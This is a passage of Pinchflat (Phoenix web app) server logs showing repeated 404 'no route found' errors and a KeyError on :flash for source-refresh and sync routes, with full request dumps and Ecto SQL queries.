"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/3/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guXod8Yc0ZbQAFrzh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163868.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47162}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163868.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47162}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163869.0>, params: %{}, path_info: ["sources", "3", "force_metadata_refresh"], path_params: %{}, port: 80, priv (truncated) 18:56:16.942 [info] GET /sources/3/sync_files_on_disk 18:56:16.942 [debug] QUERY OK source="settings" db=0.2ms idle=195.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.943 [debug] QUERY OK source="settings" db=0.1ms idle=125.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.943 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:16.943 [error] #PID<0.163871.0> running PinchflatWeb.Endpoint (connection #PID<0.163870.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/3/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163870.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/sync_files_on_disk", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47174}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163871.0>, params: %{}, path_info: ["sources", "3", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/3/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guX5rl05dLAoAFr0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163870.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/sync_files_on_disk", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47174}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163870.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/sync_files_on_disk", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47174}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163871.0>, params: %{}, path_info: ["sources", "3", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Rou (truncated) 18:56:16.995 [info] GET /sources/3 18:56:16.995 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"delete_files" => "true", "id" => "3"} Pipelines: [:browser] 18:56:16.995 [debug] QUERY OK source="sources" db=0.2ms idle=177.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:56:16.996 [debug] QUERY OK source="media_profiles" db=0.1ms idle=125.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:16.997 [debug] QUERY OK source="tasks" db=0.9ms idle=125.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 18:56:16.997 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=54.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [17075] 18:56:16.997 [debug] QUERY OK source="settings" db=0.1ms idle=54.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.998 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.998 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.999 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:56:17.000 [debug] QUERY OK source="media_items" db=0.3ms idle=2.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 18:56:17.001 [debug] QUERY OK source="media_items" db=0.5ms idle=2.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 18:56:17.001 [debug] QUERY OK source="sources" db=0.3ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:56:17.002 [debug] QUERY OK source="media_items" db=0.0ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 18:56:17.002 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 18:56:17.003 [debug] QUERY OK source="sources" db=0.1ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:56:17.003 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 18:56:17.004 [debug] QUERY OK source="media_items" db=0.4ms idle=2.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 18:56:17.006 [info] Sent 200 in 10ms 18:56:17.065 [info] GET /sources/3/sync_files_on_disk 18:56:17.066 [debug] QUERY OK source="settings" db=0.1ms idle=63.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:17.066 [debug] QUERY OK source="settings" db=0.1ms idle=63.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:17.066 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:17.066 [error] #PID<0.163875.0> running PinchflatWeb.Endpoint (connection #PID<0.163874.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/3/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163874.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/sync_files_on_disk", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47186}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163875.0>, params: %{}, path_info: ["sources", "3", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/3/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guYXIFcUgxQwAFr5B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: 